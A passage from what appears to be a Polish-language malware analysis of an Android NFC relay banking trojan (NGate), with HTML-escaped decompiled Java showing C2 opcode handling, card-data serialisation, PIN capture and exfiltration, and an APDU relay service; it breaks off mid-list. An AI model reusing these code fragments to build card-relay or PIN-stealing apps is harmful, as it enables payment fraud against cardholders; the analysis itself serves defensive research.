        &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="n"&gt;OP_PIN_INVALID&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;  &lt;span class="n"&gt;InterfaceC0039c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;f64h&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;mo184i&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="n"&gt;OP_PSH&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;          &lt;span class="n"&gt;InterfaceC0039c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;f61e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;mo184i&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;C0160a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;m79b&lt;/span&gt;&lt;span class="p"&gt;()));&lt;/span&gt; &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// APDUs&lt;/span&gt;
        &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="n"&gt;OP_SHUTDOWN_EMITTER&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;m134s&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; &lt;span class="n"&gt;m138o&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;        &lt;span class="c1"&gt;// hide app &amp;amp; disconnect&lt;/span&gt;
        &lt;span class="c1"&gt;// ...&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="n"&gt;m155C&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; &lt;span class="c1"&gt;// schedule OP_PING every 7s&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h4&gt;Rejestracja NFC: tryb czytnika&lt;/h4&gt;
&lt;p&gt;Chociaż plik APK zawiera odpowiednią usługę &lt;strong&gt;HCE&lt;/strong&gt; (emulacja karty), odszyfrowana konfiguracja ustawia &lt;code&gt;reader=true&lt;/code&gt;, co aktywuje ścieżkę czytnika: telefon zachowuje się jak czytnik prawdziwej karty, którą ofiara przyłożyła do telefonu.&lt;/p&gt;
&lt;p&gt;Fragment interfejsu użytkownika wyraźnie pokazuje tę ścieżkę: po rozpoznaniu metadanych karty wyświetla numer PAN, datę ważności i schemat (według AID).&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// p025m0.FragmentC0191s — shows card details once recognized&lt;/span&gt;
&lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;m245w&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;C0068c&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;m248t&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; &lt;span class="c1"&gt;// switch views&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;f332d&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setRectNumber&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;m460c&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;                     &lt;span class="c1"&gt;// PAN&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;f332d&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setRectDate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;AbstractC0161b&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;m316d&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;m461b&lt;/span&gt;&lt;span class="p"&gt;()));&lt;/span&gt; &lt;span class="c1"&gt;// YYMM → MM/YY&lt;/span&gt;
    &lt;span class="c1"&gt;// pick scheme image by AID&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;f332d&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setRectTypeImage&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="n"&gt;m260h&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;AbstractC0161b&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;m317c&lt;/span&gt;&lt;span class="p"&gt;(((&lt;/span&gt;&lt;span class="n"&gt;C0067b&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;m462a&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="na"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)).&lt;/span&gt;&lt;span class="na"&gt;m467b&lt;/span&gt;&lt;span class="p"&gt;()))&lt;/span&gt;
    &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nf"&gt;m260h&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;hexAid&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;hexAid&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;contains&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;A000000004&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;?&lt;/span&gt; &lt;span class="n"&gt;R&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;drawable&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;mc&lt;/span&gt;          &lt;span class="c1"&gt;// Mastercard&lt;/span&gt;
         &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;hexAid&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;contains&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;A000000003&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;?&lt;/span&gt; &lt;span class="n"&gt;R&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;drawable&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;visa_logo&lt;/span&gt;   &lt;span class="c1"&gt;// Visa&lt;/span&gt;
         &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;hexAid&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;contains&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;A000000658&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;?&lt;/span&gt; &lt;span class="n"&gt;R&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;drawable&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;logo_mir&lt;/span&gt;    &lt;span class="c1"&gt;// MIR&lt;/span&gt;
         &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;hexAid&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;contains&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;A000000333&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;?&lt;/span&gt; &lt;span class="n"&gt;R&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;drawable&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;union_pay_logo&lt;/span&gt;
         &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;R&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;drawable&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;logo_empty&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Pod maską parser EMV wypełnia obiekt &lt;code&gt;C0068c&lt;/code&gt; (PAN, data ważności, AID). Gdy wszystko jest gotowe, NetMan umieszcza go w &lt;code&gt;CardData&lt;/code&gt; i wysyła komunikat O&lt;code&gt;P_CARD_DISCOVERED&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// rha.dev.p031me.net.NetMan&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;m154D&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;bArr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;m150H&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ServerData&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;EnumC0219b&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;OP_CARD_DISCOVERED&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;bArr&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Informacje przesyłane przez sieć są wyraźnie określone w &lt;code&gt;CardData&lt;/code&gt;: obejmują numer PAN, identyfikatory AID, datę ważności oraz (później) kod PIN.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// rha.dev.p031me.net.c2s.CardData (excerpt)&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;CardData&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="n"&gt;List&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;cardAids&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;cardNumber&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;expiration&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;pin&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="n"&gt;Boolean&lt;/span&gt; &lt;span class="n"&gt;pinConfirmed&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="nf"&gt;m87l&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;toBytesNative&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;m97b&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;cardAids&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;toArray&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
                             &lt;span class="n"&gt;m95d&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;m96c&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;m94e&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt; &lt;span class="c1"&gt;// ← pin included&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;native&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="nf"&gt;toBytesNative&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;num&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;aids&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                                       &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;pin&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;exp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;boolean&lt;/span&gt; &lt;span class="n"&gt;confirmed&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h4&gt;Przechwytywanie kodu PIN: z klawiatury do scoketu w jednym kroku&lt;/h4&gt;
&lt;p&gt;Niestandardowa klawiatura PIN przechwytuje cyfry do specjalnego pola &lt;code&gt;EditText&lt;/code&gt;. Po osiągnięciu wymaganej długości (domyślnie 4) publikuje pełny PIN na wewnętrznej szynie zdarzeń.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// rha.dev.p031me.pinlibrary.PinCodeField (excerpt)&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;PinCodeField&lt;/span&gt; &lt;span class="kd"&gt;extends&lt;/span&gt; &lt;span class="n"&gt;EditText&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;C0222b&lt;/span&gt; &lt;span class="kd"&gt;implements&lt;/span&gt; &lt;span class="n"&gt;TextWatcher&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;afterTextChanged&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="n"&gt;Editable&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;length&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;PinCodeField&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;f429e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;     &lt;span class="c1"&gt;// default 4&lt;/span&gt;
                &lt;span class="n"&gt;PinCodeField&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;postDelayed&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                    &lt;span class="n"&gt;InterfaceC0039c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;f62f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;mo184i&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt; &lt;span class="c1"&gt;// publish PIN&lt;/span&gt;
                &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="mi"&gt;100L&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Warstwa sieciowa nasłuchuje tego zdarzenia i natychmiast eksfiltruje kod PIN jako dedykowany kod opcode:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// rha.dev.p031me.net.NetMan&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;m153E&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;m150H&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ServerData&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;EnumC0219b&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;OP_PIN_REQ&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getBytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;StandardCharsets&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;UTF_8&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Serwer odpowiada komunikatem „OP_PIN_VALID” / „OP_PIN_INVALID” (reakcja interfejsu użytkownika), ale w tym momencie &lt;strong&gt;kod PIN opuścił już urządzenie&lt;/strong&gt;. Dodatkowo, podczas serializacji blobu karty (CardData.m87l()), pole PIN może zostać tam również uwzględnione.&lt;/p&gt;
&lt;h4&gt;Usługa HCE: dowód zdolności „emitera”&lt;/h4&gt;
&lt;p&gt;Mimo że ta próbka działa jako &lt;strong&gt;czytnik&lt;/strong&gt;, zawiera w pełni zadeklarowaną usługę &lt;strong&gt;HostApduService&lt;/strong&gt; z identyfikatorem AID podobnym do płatności i bez wymogu odblokowania.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c"&gt;&amp;lt;!-- res/xml/hce.xml --&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;host-apdu-service&lt;/span&gt;
    &lt;span class="na"&gt;android:description=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;@string/app_name&amp;quot;&lt;/span&gt;
    &lt;span class="na"&gt;android:requireDeviceUnlock=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;false&amp;quot;&lt;/span&gt;
    &lt;span class="na"&gt;android:apduServiceBanner=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;@mipmap/ic_launcher&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;aid-group&lt;/span&gt; &lt;span class="na"&gt;android:category=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;other&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;aid-filter&lt;/span&gt; &lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;F001020304050607&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;/aid-group&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;aid-group&lt;/span&gt; &lt;span class="na"&gt;android:category=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;payment&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;aid-filter&lt;/span&gt; &lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;F001020304050607&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;/aid-group&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/host-apdu-service&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Usługa rejestruje i przekazuje przychodzące komunikaty APDU (jako punkt końcowy przekaźnika), zwracając pustą odpowiedź:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// rha.dev.p031me.nfc.hce.ApduService (excerpt)&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;ApduService&lt;/span&gt; &lt;span class="kd"&gt;extends&lt;/span&gt; &lt;span class="n"&gt;HostApduService&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nd"&gt;@Override&lt;/span&gt; &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="nf"&gt;processCommandApdu&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;apdu&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Bundle&lt;/span&gt; &lt;span class="n"&gt;extras&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;Log&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;d&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;ApduService&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;APDU-IN: &amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;AbstractC0161b&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;m319a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;apdu&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
        &lt;span class="n"&gt;C0160a&lt;/span&gt; &lt;span class="n"&gt;wrapped&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;C0160a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;apdu&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;      &lt;span class="c1"&gt;// wrap APDU&lt;/span&gt;
        &lt;span class="n"&gt;C0009i&lt;/span&gt; &lt;span class="n"&gt;bus&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;C0009i&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;m547n&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bus&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;bus&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;m545p&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;wrapped&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;     &lt;span class="c1"&gt;// forward upstream&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;                                    &lt;span class="c1"&gt;// pure relay&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;&lt;strong&gt;Dlaczego to ma znaczenie?&lt;/strong&gt; - NGate może pełnić dwie role::
1. &lt;strong&gt;Czytnik&lt;/strong&gt; wersja, w której ofiara zczytuje swoją kartę,
